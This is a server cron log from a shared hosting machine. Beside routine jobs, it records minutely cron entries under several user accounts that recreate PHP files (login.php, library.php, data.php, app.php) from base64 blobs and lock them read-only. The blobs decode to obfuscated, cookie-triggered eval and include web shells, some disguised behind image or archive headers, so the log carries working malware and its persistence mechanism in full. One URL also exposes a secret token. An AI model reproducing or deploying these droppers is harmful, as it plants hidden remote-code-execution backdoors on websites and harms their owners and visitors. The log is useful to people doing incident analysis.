Mar  1 21:27:01 medusa CROND[10375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:27:01 medusa CROND[10376]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:27:01 medusa CROND[10377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:27:01 medusa CROND[10378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:27:01 medusa CROND[10379]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:27:01 medusa CROND[10380]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:27:01 medusa CROND[10384]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:27:01 medusa CROND[10386]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:27:01 medusa CROND[10394]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:27:01 medusa CROND[10389]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:27:01 medusa CROND[10397]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:27:01 medusa CROND[10407]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:28:01 medusa CROND[28193]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:28:01 medusa CROND[28194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:28:01 medusa CROND[28195]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:28:01 medusa CROND[28196]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:28:01 medusa CROND[28197]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:28:01 medusa CROND[28198]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:28:01 medusa CROND[28199]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:28:01 medusa CROND[28202]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:28:01 medusa CROND[28212]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:28:01 medusa CROND[28213]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:28:01 medusa CROND[28215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:28:01 medusa CROND[28218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:28:01 medusa CROND[28225]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:28:01 medusa CROND[28229]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:29:01 medusa CROND[15920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:29:01 medusa CROND[15921]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:29:01 medusa CROND[15922]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:29:01 medusa CROND[15924]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2